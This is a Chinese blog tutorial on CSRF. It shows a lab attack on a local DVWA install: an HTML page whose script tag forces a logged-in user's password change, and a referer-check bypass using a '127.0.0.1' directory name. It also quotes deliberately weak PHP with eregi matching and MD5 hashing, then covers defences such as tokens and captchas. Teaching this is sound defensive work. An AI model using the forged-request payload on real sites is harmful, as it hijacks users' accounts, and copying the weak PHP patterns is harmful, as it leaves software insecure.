Web安全:CSRF基本概念及相关实践

CSRF介绍:

CSRF(Cross Site Request Forgery) is an attack which forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With a little help of social engineering (like sending a link via email/chat), an attacker may force the users of a web application to execute actions of the attacker's choosing. A successful CSRF exploit can compromise end user data and operation in case of normal user. If the targeted end user is the administrator account, this can compromise the entire web application.

 Reference: http://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)

CSRF攻击本质:

CSRF攻击能够成功的的本质原因是,攻击者成功的猜到了网站所有重要操作的参数及参数值,从而成功的构造了一个伪造的请求

常见攻击:

当URL存在CSRF漏洞时,攻击者现在自己的域上构造一个页面。诱使用户访问这个页面,然后在用户不知情的情况下,向用户已经验证登陆过的应用发动CSRF攻击。

而攻击者伪造的请求之所以能够被服务器通过,是因为该请求确实来自用户的浏览器,且之前用户已经登陆过了,浏览器保存有cookie,从而导致服务器没有分辨出该请求是用户操作的还是攻击者伪造的。

CSRF攻击实操:

#开启apache服务
kali@kali:~$ systemctl start apache2.service
==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ===
Authentication is required to start 'apache2.service'.
Authenticating as: kali,,, (kali)
Password:
==== AUTHENTICATION COMPLETE ===


#编辑网页
kali@kali:~$ vim csrf.html
<script src="https://192.168.75.130/dvwa/vulnerabilities/csrf/?password_new=csrf&password_conf=csrf&Change=Change#"></script>
<iframe src="https://www.baidu.com" width=900 height=900></iframe>

 用户登陆

 登陆验证之后,访问攻击者构造的页面:

 此时用户已遭受CSRF攻击,其密码被修改,导致出现login failed:

 

CSRF防御:

1、验证码

CSRF攻击往往是在用户不知情的情况下构造了网络请求,而验证码强制要求用户必须与应用进行交互,才能完成最终请求。因此在通常情况下,验证码可以很好地遏制CSRF攻击,但是过多的验证码会导致用户体验下降。

2、Referer Check

常见的Web应用,页面与页面之间都有一定的逻辑关系,这就使得每个正常请求的Refer都有一定的规律。因此可以通过检查HTTP请求的Referer字段来判断用户是否遭受CSRF攻击。但有时其Referer检查不当,也容易失去应有的效果。

例如:

//Referer Check

Medium CSRF Source

 <?php
            
    if (isset($_GET['Change'])) {
    
        // Checks the http referer header
        if ( eregi ( "127.0.0.1", $_SERVER['HTTP_REFERER'] ) ){
    
            // Turn requests into variables
            $pass_new = $_GET['password_new'];
            $pass_conf = $_GET['password_conf'];

            if ($pass_new == $pass_conf){
                $pass_new = mysql_real_escape_string($pass_new);
                $pass_new = md5($pass_new);

                $insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';";
                $result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );
                        
                echo "<pre> Password Changed </pre>";        
                mysql_close();
            }
    
            else{        
                echo "<pre> Passwords did not match. </pre>";            
            }    

        }
        
    }
?> 

PHP 函数 eregi()

语法

int eregi(string pattern, string string, [array regs]);

定义和用法

eregi()函数在一个字符串搜索指定模式的字符串。搜索不区分大小写。Eregi()在检查字符串时特别有用。

这种情况下,服务器会检查请求地址是否包括127.0.0.1。

此时,只需创建包含127.0.0.1的路径,将攻击网页放入,即可通过Referer检查。

kali@kali:/var/www$ mkdir csrf127.0.0.1
kali@kali:/var/www$ cp csrf.html ./csrf127.0.0.1/csrf.html

3、Anti CSRF Token

为了应对CSRF攻击,现普遍做法是使用token,有的还会与Referer Check 相结合。

当用户访问Web服务器时,服务器可以随机生成一个token分别为服务器和用户共同持有,token可以保存在用户的cookie或表单中随http请求一起提交。

例如,在Django项目的settings文件中有一个配置项MIDDLEWARE,表示默认启用csrf认证;

'django.middleware.csrf.CsrfViewMiddleware'

当页面为form表单提交时,一般都需要在form标签中加上{% csrf_token %},如果表单提交的时候带上了csrf_token ,服务器端就会认为这个是可信任的请求,如果不带csrf_token就会拒绝其请求的操作,认为其不可信。

由于token是随机生成的,且每次用户登陆生成的token都不一样,攻击者也就无法构造出一个完整的URL用于实施CSRF攻击。

此时,基本上可以阻止大部分单纯的CSRF攻击了,而如果Web应用同时存在XSS漏洞,这些仍然是防不住的,应对XSS漏洞应采取针对XSS的防御措施。

 

参考资料:

《白帽子讲Web安全》

Freebuf CSRF新手教程 https://www.freebuf.com/articles/web/118352.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值